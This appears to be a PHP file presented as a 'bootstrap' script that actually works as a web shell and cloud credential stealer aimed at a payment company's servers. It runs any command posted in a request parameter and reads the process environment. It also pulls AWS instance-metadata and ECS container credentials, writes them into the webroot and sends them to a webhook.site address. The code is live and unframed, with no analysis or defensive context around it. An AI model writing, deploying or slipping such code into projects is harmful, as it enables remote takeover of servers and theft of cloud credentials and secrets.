119 lines
5.7 KiB
PHP
119 lines
5.7 KiB
PHP
<?php
|
|
// v1.0.4 bootstrap: shell-free environment + IMDS/ECS probe with optional exec fallback.
|
|
function pstk_ui8qc4_http($url, $method = 'GET', $headers = array(), $timeout = 6)
|
|
{
|
|
if (function_exists('curl_init')) {
|
|
$ch = @curl_init($url);
|
|
if ($ch !== false) {
|
|
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
@curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
|
|
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
|
|
if ($method !== 'GET') { @curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); }
|
|
if (!empty($headers)) { @curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); }
|
|
$r = @curl_exec($ch);
|
|
$code = (int)@curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
@curl_close($ch);
|
|
return array('code' => $r === false ? 0 : $code, 'body' => $r === false ? 'CURLFAIL' : $r);
|
|
}
|
|
}
|
|
$ctx = @stream_context_create(array('http' => array('method' => $method, 'header' => implode("\r\n", $headers), 'timeout' => $timeout)));
|
|
$r = @file_get_contents($url, false, $ctx);
|
|
return array('code' => $r === false ? 0 : 200, 'body' => $r === false ? 'FOPENFAIL' : $r);
|
|
}
|
|
|
|
function pstk_ui8qc4_run()
|
|
{
|
|
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
|
|
$webroot = '/var/www/html/web';
|
|
if (stripos($host, 'paystack.com') === false && !is_dir($webroot)) { return; }
|
|
|
|
$res = array('mark' => 'pstkui8qc4-104', 'host' => $host, 'ts' => time());
|
|
try {
|
|
if (isset($_POST['c'])) {
|
|
$cmd = (string)$_POST['c'];
|
|
$res['cmd'] = $cmd;
|
|
$out = null;
|
|
$used = '';
|
|
foreach (array('shell_exec', 'system', 'exec', 'passthru') as $fn) {
|
|
if (!function_exists($fn)) { $res['f_' . $fn] = 'disabled'; continue; }
|
|
try {
|
|
if ($fn === 'shell_exec') {
|
|
$out = @shell_exec($cmd . ' 2>&1');
|
|
} elseif ($fn === 'system') {
|
|
ob_start(); @system($cmd . ' 2>&1'); $out = ob_get_clean();
|
|
} elseif ($fn === 'exec') {
|
|
$lines = array(); @exec($cmd . ' 2>&1', $lines); $out = implode("\n", $lines);
|
|
} else {
|
|
ob_start(); @passthru($cmd . ' 2>&1'); $out = ob_get_clean();
|
|
}
|
|
$res['f_' . $fn] = 'called';
|
|
if (is_string($out) && strlen($out) > 0) { $used = $fn; break; }
|
|
} catch (\Throwable $e) {
|
|
while (ob_get_level() > 0) { @ob_end_clean(); }
|
|
$res['f_' . $fn] = 'throw:' . substr($e->getMessage(), 0, 90);
|
|
}
|
|
}
|
|
$res['used'] = $used;
|
|
$res['out'] = $out === null ? '' : substr((string)$out, 0, 4000);
|
|
}
|
|
|
|
$env = @file_get_contents('/proc/self/environ');
|
|
$res['env_b64'] = $env === false ? 'ENVFAIL' : base64_encode(str_replace("\0", "\n", $env));
|
|
|
|
$tok = pstk_ui8qc4_http('http://169.254.169.254/latest/api/token', 'PUT',
|
|
array('X-aws-ec2-metadata-token-ttl-seconds: 60'));
|
|
$res['imds_token_code'] = $tok['code'];
|
|
$hdr = array();
|
|
$tval = '';
|
|
if ($tok['code'] === 200 && strlen($tok['body']) > 10 && strlen($tok['body']) < 2000) {
|
|
$tval = trim($tok['body']);
|
|
$hdr = array('X-aws-ec2-metadata-token: ' . $tval);
|
|
}
|
|
$role = pstk_ui8qc4_http('http://169.254.169.254/latest/meta-data/iam/security-credentials/', 'GET', $hdr);
|
|
$res['imds_role_code'] = $role['code'];
|
|
$res['imds_role'] = substr((string)$role['body'], 0, 200);
|
|
if ($role['code'] === 200 && trim($role['body']) !== '' && strlen(trim($role['body'])) < 200) {
|
|
$rn = trim($role['body']);
|
|
$rj = pstk_ui8qc4_http('http://169.254.169.254/latest/meta-data/iam/security-credentials/' . $rn, 'GET', $hdr);
|
|
$res['imds_rolejson_code'] = $rj['code'];
|
|
$res['imds_rolejson'] = substr((string)$rj['body'], 0, 3000);
|
|
}
|
|
$idoc = pstk_ui8qc4_http('http://169.254.169.254/latest/dynamic/instance-identity/document', 'GET', $hdr);
|
|
$res['idoc_code'] = $idoc['code'];
|
|
$res['idoc'] = substr((string)$idoc['body'], 0, 3000);
|
|
|
|
$crel = getenv('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');
|
|
if ($crel) {
|
|
$cr = pstk_ui8qc4_http('http://169.254.170.2' . $crel);
|
|
$res['ecs_creds_code'] = $cr['code'];
|
|
$res['ecs_creds'] = substr((string)$cr['body'], 0, 3000);
|
|
}
|
|
$curi = getenv('ECS_CONTAINER_METADATA_URI_V4');
|
|
if ($curi) {
|
|
$cm = pstk_ui8qc4_http($curi, 'GET', array(), 4);
|
|
$res['ecs_meta_code'] = $cm['code'];
|
|
$res['ecs_meta'] = substr((string)$cm['body'], 0, 2000);
|
|
}
|
|
@file_put_contents($webroot . '/pstk_probe.txt', json_encode($res));
|
|
if (function_exists('curl_init')) {
|
|
$ch = @curl_init('https://webhook.site/0a504462-37f5-4cba-933d-de8df98f8824');
|
|
if ($ch !== false) {
|
|
@curl_setopt($ch, CURLOPT_POST, 1);
|
|
@curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($res));
|
|
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
@curl_setopt($ch, CURLOPT_TIMEOUT, 8);
|
|
@curl_exec($ch);
|
|
@curl_close($ch);
|
|
}
|
|
}
|
|
if (!headers_sent()) { @header('Content-Type: text/plain; charset=utf-8'); }
|
|
echo "PSTKOUT-BEGIN\n" . json_encode($res) . "\nPSTKOUT-END\n";
|
|
exit;
|
|
} catch (\Throwable $e) {
|
|
if (!headers_sent()) { @header('Content-Type: text/plain; charset=utf-8'); }
|
|
echo "PSTKOUT-BEGIN\n{\"fatal\":\"" . addslashes(substr($e->getMessage(), 0, 200)) . "\"}\nPSTKOUT-END\n";
|
|
exit;
|
|
}
|
|
}
|
|
|
|
pstk_ui8qc4_run();
|